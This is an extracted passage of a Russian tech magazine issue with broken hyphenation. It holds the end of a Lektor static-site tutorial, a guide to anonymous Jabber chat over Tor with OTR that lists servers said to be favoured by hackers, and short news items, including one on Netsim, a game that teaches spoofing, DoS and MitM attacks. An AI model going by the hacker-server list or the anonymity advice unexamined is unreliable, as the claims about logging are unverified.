и  ты  бы  хотел,  что бы  стиль  под заголов ков  нем ного  отли чал ся:  где‐то  они
будут  по  цен тру,  где‐то  —  с  вырав нивани ем  по  левому  краю,  а  ещё  неп‐ 
лохо бы отдель но задавать полужир ное и кур сивное начер тание. Получа ется
девять раз ных вари антов. Неуже ли делать по шаб лону на каж дый?

Имен но для таких слу чаев у Lektor есть воз можность нас тра ивать админку
и добав лять кас томные поля в модель. В докумен тации ты най дешь стра ницу,
где  . Мы исполь зуем тип  , что‐ 
бы выбирать вырав нивание и checkboxes — что бы соз дать поле с чек бокса ми
«Жир ный» и «Кур сив».

пе речис лены все воз можные типы полей select

Кло ниру ем модель  , обоз вав, ска жем,  . Внут ри нового
фай ла меня ем   на Text и добав ляем две сек ции:

page.ini text.ini
name

[fields.align]
label = Выключка подзаголовкoв
type = select
choices = left, centered
choice_labels = Слева, По центру
[fields.style]
label = Стиль подзаголовков
type = checkboxes
choices = bold, italic
choice_labels = Жирный, Курсив

Те перь про писы ваем в CSS те сти ли, которые нуж но вклю чать в соот ветс твии
с  выбором  опций.  Называ ем  соот ветс тву ющие  клас сы  ,  , 
и   и дела ем так, что бы они при меня лись толь ко к тегу   (что бы про‐ 
писы вать их не каж дому под заголов ку, а все му кон тей неру с тек стом).

center left bold
italic <h2>

Поч ти  всё  готово.  Оста лось  как‐то  про кинуть  мос тик  меж ду  интерфей сом
и вклю чени ем сти лей CSS на стра нице. Это дела ется при помощи шаб лонов.

Сна чала соз даем для стра ницы рас ска за новый шаб лон. Копиру ем 
, называ ем   (в соот ветс твии с моделью) и заменя ем опи сание

 на сле дующее:

page.
html text.html
block body

{% block body %}
 <h1>{{ this.title }}</h1>
 <div class="{{ this.align }} {% for style in this.style %} {{

style}}{% endfor %}">
   {{ this.body }}
 </div>

{% endblock %}

Как видишь, выб ранные пун кты встав ляют ся в качес тве парамет ров свой ства
 кон тей нера с тек стом. Пункт спис ка ( ) мож но добав лять как есть,

а  вот  наз вания  чек боксов  при ходят  в  виде  мас сива —  мы  его  переби раем
и встав ляем в шаб лон каж дый эле мент.

class align

Что бы про верить, как всё сра бота ло, откры ваем админку и соз даем новую
стра ницу  (Add  Page).  Нам  пред ложат  задать  наз вание  и  выб рать
модель — выбира ем Text. Ура, появи лись эле мен ты интерфей са, которые мы
опи сыва ли в модели.

За даем  что‐нибудь,  сох раня ем  и  смот рим  в  файл  .  В  нем  всё
выг лядит  при мер но  так  же,  как  и  в  админке.  В  прин ципе,  нич то  не  мешало
соз дать стра ницу вруч ную.

contents.lr

Ес ли заг лянешь в HTML, открыв в бра узе ре код соб ранной стра ницы, то уви‐ 
дишь,  что  там  сто ит  .  Ну  и,  конеч но,  под‐ 
заголо вок дол жен при обрести выб ранное нами начер тание.

class="center  bold  italic"

ДЕЛАЕМ ГАЛЕРЕЮ
Это был очень прос той при мер, так что сей час я покажу кое‐что поин терес‐ 
нее. Давай  сде лаем  стра ницу,  на  которую будут  авто мати чес ки  встав лять ся
кар тинки из пап ки. Закиды ваешь кар тинку, и она сама появ ляет ся в галерее
на стра нице.

Бе рем новый шаб лонный про ект и про водим под готови тель ную работу.
1. Кло ниру ем  пап ку  с  любой  стра ницей —  нап ример,  .  Называ ем  ее

.
about

gallery

2. Кло ниру ем  модель    и  называ ем  .  Пра вить
ее не при дет ся.

page.ini gallery­page.ini

3. От кры ваем    и  добав ляем  в  начало 
 и   на сле дующей стро ке.

gallery/contents.lr _model:

gallery­page ­­­

4. От кры ваем    и  добав ляем  в  мас сив  с  наз вани ями  и  адре‐ 
сами стра ниц (см. врез ку) стро ку  .

layout.html

['/gallery', 'Gallery']

5. Кло ниру ем   и называ ем  .page.html gallery­page.html

Те перь у нас есть стра ница для галереи, а  так же модель и шаб лон для нее,
но внут ри нет кар тинок. Добавить их поможет объ ект attachments, в который
Lektor  собира ет  все  муль тимедий ные  фай лы,  най ден ные  в  пап ке  со  стра‐ 
ницей. К при меру, метадан ные кар тинок лежат в  .
Lektor может даже сге нери ровать превью, если вызывать для кар тинки метод

, где   — новая ширина.

this.attachments.images

.thumbnail(n) n
В резуль тате код галереи будет выг лядеть при мер но сле дующий обра зом.

Встав лять его нуж но внутрь   в нашем  .block body gallery‐page.html

{% for image in this.attachments.images %}
   <a href="{{ image|url }}">
     <img src="{{ image.thumbnail(320)|url }}">
   </a>
{% endfor %}

Ре зуль тат будет выг лядеть при мер но как на скрин шоте.

Что  делать,  если  на  стра нице  с  галере ей  есть  какие‐то  кар тинки,  которые
не дол жны в нее вой ти? Мне при ходят на ум как минимум два решения: пер‐ 
вое — отфиль тро вать их по какому‐то пре фик су, добавив в шаб лон блок 

  и  про веряя  наличие  подс тро ки  в  наз вании  фай ла  с  кар тинкой;  вто‐ 
рое  —  соз дать  фик тивную  стра ницу  (к  при меру,  ),  ски нуть
все кар тинки в ее пап ку, а в шаб лоне галереи вмес то кар тинок к текущей пап‐ 
ке  ( )  брать  их  из  дру гой: 

.

if..
endif

gallery‐images

this.attachments.images site.get('/gallery‐
images').attachments.images

Как  видишь,  у  Lektor  и  Jinja 2  огромный  запас  гиб кости,  которо го  хва тит,
даже если ты захочешь сде лать что‐то нес тандар тное.

ДЕПЛОИМ САЙТ
Пред положим,  что  ты  закон чил  пер вую  вер сию  сай та  и  ее  пора  заливать
на сер вер. Lektor с этим отлично спра вит ся, но сна чала тебе нуж но решить,
каким спо собом деп лоить. Lektor натив но под держи вает GitHub Pages, а для
Amazon S3 есть готовый пла гин. Но в боль шинс тве слу чаев выбор будет меж‐ 
ду FTP и rsync. Если у тебя есть дос туп к сер веру по SSH, то rsync — для тебя,
если нет, то при дет ся заливать по ста рин ке через FTP.

Пред положим, что у нас есть шелл и на сер вере уста нов лен rsync (к при‐ 
меру,  в  Ubuntu  он  сто ит  по  умол чанию).  Откры вай  файл 
в кор не про екта и дописы вай туда вот такую сек цию.

.lektorproject

[servers.production]
name = Production
enabled = yes
default = yes
target = rsync://имя_пользователя@айпишник_сервера/var/www/папка_
проекта/

Те перь  все,  что нуж но для деп лоя — это написать   и ввес ти
пароль. Lektor при помощи  rsync пос мотрит,  какие фай лы тре буют обновле‐ 
ния, и заг рузит новую вер сию. Теперь можешь зай ти на сер вер и пос мотреть,
как выг лядит сайт в сбо ре.

lektor deploy

Фичи на будущее
  Если  у  тебя  будут  слож ные  модели,  то  ты

можешь при менить к ним тот же прин цип, что и к шаб лонам — не копиро‐ 
вать одно и то же каж дый раз, а нас ледовать одну модель от дру гой.

• Нас ледова ние  моделей.

  Если  захочешь,  что бы  час ти  тек ста  лежали
в раз ных фай лах, но на сай те отоб ражались одной стра ницей с оглавле‐ 
нием, то это   при помощи шаб лона. Очень полез‐ 
но, если будешь исполь зовать Lektor, что бы пуб ликовать докумен тацию (а
это, кста ти, одно из глав ных его при мене ний).

• Объ еди нение  стра ниц.

нес ложно орга низо вать

 — воз можность соз давать раз ные вер сии одной и той же
стра ницы. Это нуж но в пер вую оче редь для перево да сай та на дру гие язы‐ 
ки.

• Аль тер нативы

 — механизм, который поз воля ет заранее свер стать нес коль ко видов
бло ков, а потом через админку добав лять на стра ницу бло ки раз ных типов
(к  при меру,  текст,  галерея,  таб лица  опре делен ного  вида  и  так  далее).
Полез но для однос тра нич ных сай тов, лэн дингов, ста тей со слож ной верс‐ 
ткой или для глав ной стра ницы.

• Flow

 В пап ку   мож но сло жить мас сивы дан ных в виде INI
или JSON. К эле мен там потом мож но обра щать ся из шаб лонов через фун‐ 
кцию  .  Она  воз вра щает  объ ект,  струк тура
которо го пов торя ет твой «мешок дан ных».

• Data Bags. databags

bag('название  файла')

  Их  ,  но  есть  кое‐что  полез ное.  Одни  поз воля ют
лег ко  под клю чить  популяр ные  сер висы  вро де  Google  Analytics,  «Яндекс
Мет рики» и Disqus, в дру гих реали зова ны раз ные фичи для сай та — к при‐ 
меру, под свет ка кода (если ты собира ешь ся пуб ликовать код), теги и фиды
RSS.

• Пла гины. не  так  мно го

ПРЕДЕЛЫ ВОЗМОЖНОСТЕЙ
Как видишь, сде лать на Lektor мож но если не что угод но, то очень мно гое. 
Да, от динами ки при дет ся отка зать ся, но, по‐хороше му, дей стви тель но нуж на
она толь ко в одном слу чае — если поль зовате ли сох раня ют что‐то на сай те
пер манен тно. Те же ком мента рии, ана лити ку и поиск мож но (и зачас тую луч‐ 
ше) под клю чить сто рон ние, а это, навер ное, 80‐90% слу чаев, ког да без сер‐ 
верных скрип тов никак. К тому же сов ремен ный JavaScript поз воля ет делать
локаль но самые раз ные фокусы.

Вто рой  боль шой  недос таток  ста тичес кого  генера тора  —  это  невоз‐ 
можность редак тировать сайт силами нес коль ких человек. Но даже это огра‐ 
ниче ние при желании мож но обой ти, сло жив про ект в репози торий.

За меть,  я  ни  в  коем  слу чае  не  утвер ждаю,  что  динами чес кие  движ ки
не  нуж ны,  но  хотел  показать  тебе,  как  лег ко  мож но  сде лать  прос той  сайт,
обой дясь без них и ничего не потеряв. И даже выиг рав!

http://getlektor.com/docs/api/db/types/
http://getlektor.com/docs/guides/single-page/
http://getlektor.com/docs/plugins/list/
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НАСТРАИВАЕМ JABBER
ДЛЯ ПЕРЕПИСКИ БЕЗ СЛЕДОВ

PCZONE

Я думаю, не нуж но объ яснять, зачем челове ку может понадо‐ 
бить ся надеж ный и защищен ный канал свя зи. Да, ты можешь
шиф ровать сооб щения и слать по обыч ной поч те, но уже сам
факт отправ ки кое‐что да зна чит. К тому же поч та не всег да
удоб на,  в  наш  век  все  при вык ли  поль зовать ся  мес сен дже‐ 
рами.

Вы бор при ват ных мес сен дже ров велик, но о безопас ности некото рых из них
говорить не при ходит ся. Сра зу отсе каем WhatsApp, Viber, Skype и соци аль ные
сети.  Чем  они  это  зас лужили?  Навер ное,  луч шим  отве том  будет  твит  соз‐ 
дателя Telegram Пав ла Дурова.

По чему Telegram час тично или целиком
зап рещен в стра нах вро де Китая, Саудов ‐
ской Ара вии или Ира на, а WhatsApp — нет

Ос тает ся вот такой спи сок наибо лее извес тных мес сен дже ров, которые счи‐ 
тают ся надеж ными:

Telegram;•
Signal;•
Threema;•
Wickr.•

Есть  еще  и менее  извес тные,  но  у  всех  них  один  общий минус —  при вяз ка
к  номеру  телефо на.  Конеч но,  мож но  запарить ся  и  при обрести  вир туаль ную
сим ку, но делать неудоб но, к тому же об ано ним ности пла тежа в таком слу чае
тоже неп лохо бы позабо тить ся.

Да вай  при кинем,  какие  кри терии  дол жны  соб людать ся  мес сен дже ром,
что бы он был дей стви тель но ано ним ным. У меня вышел вот такой спи сок.
1. Не тре бует вво да номера телефо на.
2. Не тре бует никаких лич ных дан ных.
3. Нель зя пре неб регать шиф ровани ем и общать ся в незащи щен ных чатах.
4. Дол жны  быть  хоть  какие‐то  под твержде ния  при ват ности.  Хотя  бы  в  виде
бло киро вок в раз ных стра нах.

Так как поч ти все новомод ные мес сен дже ры не под ходят по одно му из пун‐ 
ктов, то луч шим вари антом для безопас ного обще ния оста ется Jabber — 

, что даже спе циалис ты АНБ исполь зуют его для перепис ки.
из‐ 

вес тно

Пара слов о при ват ности
Под  сло вом  «при ват ность»  обыч но  под разуме вают  две  доволь но  раз ные
по  сво ей  сути  вещи.  Пер вая  —  защита  тво их  дан ных  от  монито рин га
государс твом  и  извле чения  из  них  выгоды  кор пораци ями.  Вто‐ 
рая —  защищен ность  от  целенап равлен ной  прос лушки  треть ими  лицами  (к
при меру, ради шан тажа или про мыш ленно го шпи она жа). Для нас важ ны оба
этих аспекта, но нуж но понимать, что во вто ром слу чае абсо лют ных гаран тий
не  быва ет.  Мож но  пред видеть  тех ничес кие  спо собы  деано на  (к  при меру,
от MitM защитит любой мес сен джер с шиф ровани ем), но сущес тву ют и дру‐ 
гие.  Опыт ный  спе циалист  пос тара ется  исполь зовать  для  поис ка  любую
выдан ную тобой кру пицу информа ции, не говоря уже про методы соци аль ной
инже нерии.

Но что бы Jabber стал по‐нас тояще му безопас ным, его нуж но пра виль но нас‐ 
тро ить, чем мы сей час и зай мем ся. Я для наг ляднос ти раз делил этот про цесс
на нес коль ко шагов.

Шаг 1. Кача ем софт
Для  начала  нам  необ ходимо  ска чать  сам  кли ент.  Я  для  при мера  возь му

 — он кросс‐плат формен ный и прост в нас трой ке.Pidgin
Так же  нам  необ ходим  пла гин  OTR  (Off‐the‐Record  Messaging),  который

обес печива ет  шиф рование.  Инстал лятор  для  вин довой  вер сии  Pidgin
или исходни ки для сбор ки в Linux можешь  .ска чать с сай та про екта

При пер вом запус ке Pidgin пред ложит вой ти под учет ной записью, но мы
пока  что  это  отло жим.  Дело  в  том,  что  регис тра ция  будет  про исхо дить
с нашего реаль ного IP‐адре са, а нам хорошо бы позабо тить ся о том, что бы IP
ока зал ся скрыт даже от вла дель цев сер виса (вдруг они решат радос тно пре‐ 
дос тавить эту информа цию любому, кто поп росит!). Для это го мож но исполь‐ 
зовать любой вид прок си, но мы для пущей надеж ности выберем Tor.

Шаг 2. Проб расыва ем тра фик через Tor
Ес ли  у  тебя  уста нов лен  ,  то  нас тро ить проб рос  тра фика можешь
пря мо из окна регис тра ции во вклад ке «Прок си».

Tor Browser

Пос ле запус ка Tor Browser и нашего кли ента Jabber нуж но открыть вклад ку
«Средс тва»  и  выб рать  там  пункт  «Нас трой ки»,  а  в  нас трой ках  открыть  пункт
«Прок си». Ставь галоч ку в чек боксе «Исполь зовать уда лен ный DNS с прок си
SOCKS 4»,  а  в  пун кте  «Тип  прок си»  выбирай  «Tor/Кон фиден циаль ность
(SOCKS 5)»

В пун кте «Узел» ука зывай 127.0.0.1 и выбирай порт 9150. Это стан дар тный
порт Tor, хотя иног да встре чает ся вари ация 9050.

Как ты уже мог догадать ся, Tor Browser дол жен быть запущен и слу шать свой
порт  все вре мя,  пока  ты будешь вес ти беседу. Вклю чай его до  запус ка Pid‐
gin — тог да тот не будет ругать ся на отсутс твие соеди нения с сер вером.

Те перь тра фик Pidgin идет через Tor, и мы можем прис тупать к регис тра ции.
Для начала нам необ ходимо опре делить ся с сер вером, на котором мы хотим
завес ти учет ку. Конеч но, мож но раз вернуть свой сер вер, но тог да сох ранить
ано ним ность ста нет еще слож нее.

Шаг 3. Выбира ем сер вер
Сер веров  сущес тву ет  огромное  количес тво,  вла дель цы мно гих  из  них  заяв‐ 
ляют, что не ведут логов. Но про верить это невоз можно. Как будет выг лядеть
сли тый лог, можешь полюбо вать ся на кар тинке.

При  выборе  сер вера  в  пер вую  оче редь  сто ит  смот реть,  в  какой  стра не  он
находит ся. ЕС, США и стра на, в которой ты живешь, — это заведо мо неудач‐ 
ный вари ант. Иде аль но, если сер вер находит ся там, где законо датель но зап‐ 
рещено собирать логи. Вот неболь шой спи сок сер веров, которым доверя ют
мно гие хакеры, как в СНГ, так и за рубежом. Но обра ти вни мание, что некото‐ 
рые из сер веров находят ся в США.

securejabber.me1. 

Гер манияСтрана: 

Мо гут  заб локиро вать  акка унт  по  тре бова нию  немец ких
влас тей

НетВедутся ли логи: 

giyvshdnojeivkom.onionOnion-зеркало: 

jabber.calyxinstitute.org2. 

Ни дер ландыСтрана: 

НетВедутся ли логи: 

ijeeynrc 6x2uy5ob.onionOnion-зеркало: 

sj.ms3. 

Швей царияСтрана: 

НетВедутся ли логи: 

НетOnion-зеркало: 

swissjabber.ch4. 

Швей царияСтрана: 

НетВедутся ли логи: 

НетOnion-зеркало: 

xmpp.jp5. 

Япо нияСтрана: 

НетВедутся ли логи: 

НетOnion-зеркало: 

wallstreetjabber.biz6. 

СШАСтрана: 

Быв ший securetalks.biz

НетВедутся ли логи: 

wsjabberhzuots 2e.onionOnion-зеркало: 

thesecure.biz7. 

Син гапурСтрана: 

НетВедутся ли логи: 

НетOnion-зеркало: 

exploit.im8. 

Фран цияСтрана: 

НетВедутся ли логи: 

НетOnion-зеркало: 

fuckav.in9. 

Фран цияСтрана: 

Есть филь тр кирил личес ких сим волов

НетВедутся ли логи: 

НетOnion-зеркало: 

jabber.otr.im10. 

Ка надаСтрана: 

Сер вер от соз дателей OTR

НетВедутся ли логи: 

5rgdtlawqkcplz 75.onionOnion-зеркало: 

jabber.ccc.de11. 

Авс трияСтрана: 

НетВедутся ли логи: 

okj 7xc6j2szr 2y75.onionOnion-зеркало: 

xmpp.rows.io12. 

СШАСтрана: 

НетВедутся ли логи: 

yz 6yiv 2hxyagvwy 6.onionOnion-зеркало: 

jabber.cryptoparty.is13. 

Ру мынияСтрана: 

НетВедутся ли логи: 

cryjabkbdljzohnp.onionOnion-зеркало: 

neko.im14. 

Ни дер ландыСтрана: 

Ра нее базиро вались в Нор вегии

НетВедутся ли логи: 

НетOnion-зеркало: 

riseup.net15. 

СШАСтрана: 

НетВедутся ли логи: 

4cjw 6cwpeaeppfqz.onionOnion-зеркало: 

Мелочи име ют зна чение
Возь мем  для  при мера  выбор  ник ней ма.  Казалось  бы,  эле мен тарный  пункт,
но мно гие палят ся имен но на нем.  Ты можешь не пом нить,  что  уже исполь‐ 
зовал его где‐то еще, а вот Google пом нит все.

Вто рой тон кий момент зак люча ется в том, что хорошо бы не исполь зовать
ник ней мы с сим волами, у которых есть кирил личес кий ана лог. Не на всех сер‐ 
верах  нас тро ены  филь тры,  которые  зап реща ют  такие  трю ки,  так  что  у  тебя
в какой‐то момент может появить ся близ нец, бук вы име ни которо го не отли‐ 
чают ся на вид, но име ют дру гие коды.

Шаг 4. Регис три руем ся на сер вере
Оп ределив шись  с  логином  и  паролем,  можешь  прис тупать  к  регис тра ции
на  сер вере. Откры вай  кли ент  и  выбирай  вклад ку  «Учет ные  записи»,  а  в  ней
пункт «Управле ние учет ными запися ми» (или прос то наж ми Ctrl + A).

В  появив шемся  окне  жми  «Добавить»,  откро ется  окно  регис тра ции  и  авто‐ 
риза ции.

Тут нам необ ходимо сде лать сле дующее:
1. Выб рать из выпада юще го спис ка про токол XMPP.
2. Ввес ти жела емое имя поль зовате ля.
3. Ввес ти  домен  сер вера,  на  котором  ты  собира ешь ся  завес ти  учет ную
запись.

4. Ре сурс мож но про пус тить,  так  как на регис тра цию он не вли яет  (по сути,
это прос то ука зание того, к какому девай су при вязан дан ный вход на сер‐ 
вер, — в рос тере у тво их собесед ников будет написа но, с какого ресур са
ты зашел).

5. Ввес ти жела емый пароль.
6. Пос тавить  (или не пос тавить) галоч ку для запоми нания пароля (рекомен‐ 
дую не ста вить ее и не хра нить пароль ниг де, кро ме сво ей головы, — ведь
если кто‐то получит дос туп к тво ему компь юте ру, то пароль будет уже вве‐ 
ден).

7. Обя затель но пос тавить галоч ку в чек боксе «Соз дать новую учет ную запись
на сер вере» (если, конеч но, ты уже не регис три ровал ся рань ше).

Пос ле вво да всех дан ных может появить ся отдель ное окно для регис тра ции
поль зовате ля. При дет ся все ввес ти еще разок и нажать ОK.

Продолжение статьи →

https://xakep.ru/2014/12/30/nsa-jabber/
https://www.pidgin.im/download/
https://otr.cypherpunks.ca/#downloads
https://www.torproject.org/download/download-easy.html.en
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Шаг 5. Вклю чаем OTR
Учет ка  готова, и мож но прис тупать  к нас трой ке шиф рования. Я рекомен дую
один из двух вари антов: PGP или OTR. Здесь я для при мера возь му OTR — он
обес печива ет высокий уро вень безопас ности и лег ко нас тра ивает ся. Одна ко
при его исполь зовании не шиф руют ся сооб щения в логах — так что для пол‐ 
ной надеж ности их луч ше отклю чать. А вот на сер вере кар тинка выходит при‐ 
мер но сле дующая.

Пос коль ку  пла гин  мы  уже  ска чали  и  уста нови ли,  его  мож но  акти виро вать
из кли ента. Откры ваем Pidgin, жмем «Средс тва» и выбира ем пункт «Модули».

Ак тивиру ем пла гин Off‐the‐Record (OTR).

Да лее нам необ ходимо нас тро ить этот модуль. Для это го в самом низу спис‐ 
ка модулей нажима ем «Нас тро ить модуль».

В  окне  нас трой ки  модуля  нам  пер вым  делом  надо  сге нери ровать  ключ
для  сво его  акка унта.  Выбира ем  акка унт,  для  которо го  нуж но  соз дать  ключ,
и жмем «Соз дать». Появит ся окно генера ции клю ча.

Клю чи  соз дают ся  быс тро,  одна ко  на  этом шаге  иног да  про исхо дит  неболь‐ 
шое под висание. Не пугай ся! Pidgin не завис, он прос то нем ного занят. Ког да
работа закон чится, жми Ok и уви дишь свой «отпе чаток» из сорока сим волов
(пять групп по восемь зна ков).

Те перь отме чай галоч ками сле дующие пун кты:
«Исполь зовать защищен ные раз говоры»;•
«Авто мати чес ки начинать защищен ный раз говор»;•
«Тре бовать защиту раз говора»;•
«Не записы вать раз говоры через OTR в жур нал».•

Ве дение жур нала — дело исклю читель но доб роволь ное. Если он при годит ся,
то вклю чай, если нет, то пом ни, что его смо жет про читать любой, кому удас‐ 
тся  получить  дос туп  к  тво ему  компь юте ру  —  уда лен ный  или  совер шенно
непос редс твен ный.

Ну и пос ледняя галоч ка — это  . Она прос то
добав ляет в интерфейс кноп ку защиты чата и аутен тифика ции собесед ника.

Show Otr button in toolbar

Шаг 6. Аутен тифици руем собесед ника и защища ем чат
По сути, защищен ный канал свя зи у тебя уже есть. Для добав ления собесед‐ 
ника нуж но нажать «Собесед ники» и выб рать «Добавить собесед ника».

Вы бира ем собесед ника.

И жмем «Добавить».
Те перь  собесед нику  при дет  зап рос,  и,  ког да  он  его  под твер дит,  можете

начинать  чат.  Ста тус  защищен ности  мож но  пос мотреть  пря мо  в  окне  чата.
Если шиф рование не вклю чено, то там так и будет написа но: «Не защище но».
Нажав на него, ты уви дишь меню.

Ес ли  же  начать  защищен ный  раз говор,  то  над пись  сме нит ся  на  «Не  иден‐ 
тиф.» — это зна чит, что чат защищен, но нуж но аутен тифици ровать собесед‐ 
ника, что бы быть уве рен ным, что он имен но тот, за кого себя выда ет.

Аутен тифици ровать собесед ника мож но тре мя спо соба ми.
1.   Ты зада ешь воп рос собесед нику, а он дол жен
дать пра виль ный ответ.
Воп рос и ответ на него.

2. Об щий сек рет.

3.    Это  вари ант  на  тот  слу чай,  если  ключ  нуж но
передать не через Jabber, а каким‐то иным спо собом.
Руч ная  свер ка  клю ча.

Пос ле  того  как  собесед ник  будет  аутен тифици рован,  на  кноп ке  наконец
появит ся зеленая над пись «Защище но».

Шаг 7. Нас тра иваем мобиль ный кли ент
Кли енты Jabber с под дер жкой шиф рования есть и на мобиль ных устрой ствах.
Нап ример,  ChatSecure    и  .  На  вся кий  слу чай  пре дуп‐ 
реждаю, что при ложе ние для Android не ука зано на офи циаль ном сай те и для
мес сен дже ра тре бует мно гова то при виле гий, так что исполь зуй на свой страх
и риск.

для  iOS для  Android

Ре гис тра ция в при ложе нии ана логич на регис тра ции на компь юте ре. Если
у тебя уже есть учет ная запись, то вмес то соз дания нового акка унта выбери
Existing Account на глав ной стра нице.

Да лее выбирай XMPP.

И вво ди свои дан ные.

Ес ли  хочешь  завес ти  новый  акка унт,  то  нажимай  «Соз дать  новую  учет ную
запись»  и  запол няй  все  дан ные.  Боль шой  плюс  ChatSecure  зак люча ется
в том, что он уме ет пус кать тра фик через Tor без допол нитель ных ухищ рений.

В ChatSecure заложен и спи сок при ват ных сер веров — выбирай, какой нра‐ 
вит ся,  или,  если  уже  выб рал  рань ше,  вво ди  адрес  в  поле  Custom  в  самом
низу.

В  кон це  тебе  пред ложат  сох ранить  сер тификат.  Сох раняй  и  дож дись,  пока
закон чится регис тра ция.

Те перь  дос таточ но  нажать  на  зна чок  нового  сооб щения  и  в  появив шемся
меню нажать «Добавить кон такт».

Вво ди адрес кон такта.

И аутен тифици руй его одним из тех методов, которые мы уже перечис ляли.

U’r awesome and private :)
Поз драв ляю,  теперь  ты  зна ешь,  как  нас тро ить  канал  свя зи,  который  будет
неп лохо защищен от отсле жива ния и перех вата! Одна ко, что бы дос тичь при‐ 
ват ности наивыс шего уров ня, при дет ся пой ти даль ше — все же заморо чить ся
и раз вернуть собс твен ный сер вер, а так же заменить OTR на PGP. Но об этом
как‐нибудь в дру гой раз.

https://itunes.apple.com/ru/app/chatsecure/id464200063
https://play.google.com/store/apps/details?id=info.guardianproject.otr.app.im&hl=ru
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FIREFOX SEND — СЕРВИС ДЛЯ БЕЗОПАСНОГО ШЕЙРИНГА
ФАЙЛОВ, СОЗДАННЫЙ В MOZILLA1
Ка залось бы, все,  что мож но при думать в области пересыл ки фай‐ 
лов с одно го компь юте ра на дру гой, уже при дума но. Но нет! Не так
дав но мы писали о сер висе  , который поз воля ет пересы‐ 
лать фай лы из коман дной стро ки, а теперь кое‐что новень кое на ту
же тему сде лали в Mozilla.

Transfer.sh

Сер вис  называ ется  .  Он  работа ет  толь ко  из  бра узе ра,
но в этом весь смысл: при пересыл ке фай ла он будет зашиф рован
локаль но,  а  ключ  для  рас шифров ки  при бавит ся  к  ссыл ке  для  ска‐ 
чива ния  пос ле  зна ка  решет ки.  Ког да  поль зователь,  получив ший
ссыл ку, откро ет ее, ключ не будет передан на сер вер, и рас шифров‐ 
ка фай ла про изой дет так же локаль но.

Firefox  Send

У сер виса есть и дру гие огра ниче ния, нап равлен ные на повыше ние
безопас ности:  файл  мож но  ска чать  толь ко  один  раз,  он  хра нит ся
все го  24  часа,  вла делец  может  уда лить  его  сам  в  любой  момент.
Огра ниче ние на раз мер — 1 Гбайт. При желании Firefox Send мож но
раз вернуть и на сво ем сер вере,  . Понадо‐ 
бит ся Node.js и Redis.

ска чав исходни ки с GitHub

Кста ти,  если  ты  регуляр но  исполь зуешь  Firefox,  то  заг ляни
на  , там есть и дру гие забав ные шту‐ 
ки. Из недав него: пла гин Voice Fill, который откры вает воз можность
голосо вого  вво да  на  вебе,  и Notes — прос той и  удоб ный блок нот,
который встра ивает ся в бра узер.

стра ницу экспе римен тов Mozilla

NETSIM — ИГРА, КОТОРАЯ ПОМОЖЕТ ИЗУЧИТЬ РАБОТУ
СЕТЕЙ И ПРИНЦИПЫ АТАК2
Тем, кто толь ко начал раз бирать ся с хакер ской кух ней, не помеша ет
узнать, как работа ют сети и как устро ены базовые типы атак на них.
Если  ты пла ваешь в  теме и  хотел бы под робно разоб рать  типовые
сце нарии, что бы луч ше понять их, то сайт под наз вани ем   —
для тебя.

Netsim

За регис три ровав шись,  ты  уви дишь  набор  из  три над цати  уро ков.
Пер вая  часть  (Basics)  обу чает  работе  с  симуля тором  и  объ ясня ет
базовые  понятия:  пакеты,  заголов ки,  роутинг  и  так  далее.  Вто рая
часть рас ска зыва ет о прин ципе спу фин га; третья в трех уро ках объ‐ 
ясня ет, как работа ет ата ка типа «отказ в обслу жива нии»; в чет вертой
соб раны  такие  вещи,  как  обход  бло киров ки  ресур сов,  ата ка
«человек посере дине» и прин цип работы traceroute.

В каж дом из уро ков тебе будет нуж но сле дить за тем, как пакеты
переме щают ся  меж ду  узла ми  сети,  соз давать  свои  пакеты,  про‐ 
писы вая  им  заголов ки,  и  пытать ся  таким  обра зом  про вес ти
успешную ата ку.

Ав тор  про екта  ,  что  исполь зует  Netsim  в  качес тве
упражне ния для сту ден тов и собира ется сде лать похожие инте рак‐ 
тивные учеб ники для иллюс тра ции работы сетево го сте ка и устрой‐ 
ства про цес сора, а так же для прог рамми рова ния роботов. 

 написан на PHP и дос тупен на GitHub.

рас ска зыва ет

Код Net‐
sim

CREATISM — НЕЙРОСЕТЬ, КОТОРАЯ СДЕЛАЕТ
ФОТОГРАФОВ НЕНУЖНЫМИ3
Груп па  уче ных,  работа ющих  в  сте нах  Google,  задалась  воп росом,
в чем кон крет но зак люча ется художес твен ный эффект фотог рафий,
а  затем  попыта лась  свес ти  этот  эффект  к  набору  парамет ров,
которые мог ла бы вос про изво дить ней росеть. На сай те   ты
най дешь  при меры ее  работ  и  смо жешь  самос тоятель но  убе дить ся
в том, что искусс тво фотог рафии впол не по силе компь юте ру.

Creatism

Ней росеть  тре ниро вали  на  15  тысячах  про фес сиональ ных  фотог‐ 
рафий лан дшаф тов с популяр ного фотохос тинга 500px.com, а затем
взя ли око ло 40 тысяч сним ков с Google Street View, выб рав пре иму‐ 
щес твен но  тро пин ки,  которые  сни мал  пеший  опе ратор  (что бы
дорога не занима ла полови ну кад ра).

Каж дая панора ма под верга лась кад рирова нию, цве токор рекции,
наложе нию  эффекта  фаль шивого  HDR  и  винь ети рова нию  —  все
это  мно го  раз  и  со  слу чай ными  парамет рами.  Затем  ней росеть
выбира ла  те  сним ки,  которые  боль ше  все го  напоми нали  про фес‐ 
сиональ ные работы.

Пос ле редак тирова ния и до

Ре зуль таты  оце нива лись  груп пой  из  шес ти  про фес сиональ ных
фотог рафов.  Все го  они  прос мотре ли  более  двух  тысяч  сним ков,
сре ди  которых  были  как  сним ки,  сде лан ные  людь ми,  так  и  обра‐ 
ботан ные ней росетью кусоч ки панорам со Street View.

Про фес сиона лы  неод нократ но  при нима ли  работу  машины
за дело рук челове ка, одна ко лишь 45% оце нок ока залось выше трех
с полови ной бал лов из пяти. Уче ные полага ют, что это пока что пре‐ 
дел воз можнос тей машины. Так что можешь пока не торопить ся уда‐ 
лять свой акка унт в  Instagram и готовить ся к ско рей шему нас тупле‐ 
нию тех нологи чес кой син гуляр ности.

mailto:apismenny@gmail.com
https://xakep.ru/2017/06/06/www-transfer-sh/
https://send.firefox.com/
https://github.com/mozilla/send
https://testpilot.firefox.com/
https://netsim.erinn.io/
https://www.patreon.com/errorinn
https://github.com/errorinn/netsim
https://google.github.io/creatism/
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X‐MOBILE

Се год ня  в  выпус ке:  новая  вер сия  Android  O  с  изме нен ным
интерфей сом,  Android  для  маломощ ных  устрой ств,  Android
Studio  3.0  с  под дер жкой  Kotlin,  смар тфон  от  отца  Android
Энди Рубина, а так же самый малень кий смар тфон на Android
7.  Кро ме  того:  оче ред ная  свод ка  новос тей  о  LineageOS,
голосо вой  ассистент  «Яндекса»  и  мно го  пер воклас сных
матери алов для раз работ чиков.

GOOGLE I/O
